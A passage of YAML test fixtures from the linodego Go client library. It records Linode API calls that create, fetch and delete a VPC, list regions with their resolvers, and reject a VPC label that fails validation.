https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10252, "label": "go-test-vpc-1700036168866478000", "description": "", "region": "es-mad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10252 method: GET response: body: '{"id": 10252, "label": "go-test-vpc-1700036168866478000", "description": "", "region": "es-mad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10252 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_Create_Invalid.yaml000066400000000000000000000406041455402072200316640ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"gotest_vpc_invalid_label1700036170984729000","region":"es-mad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"errors": [{"reason": "Label must include only ASCII letters, numbers, and dashes", "field": "label"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "104" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - vpc:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_List.yaml000066400000000000000000000476741455402072200277440ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 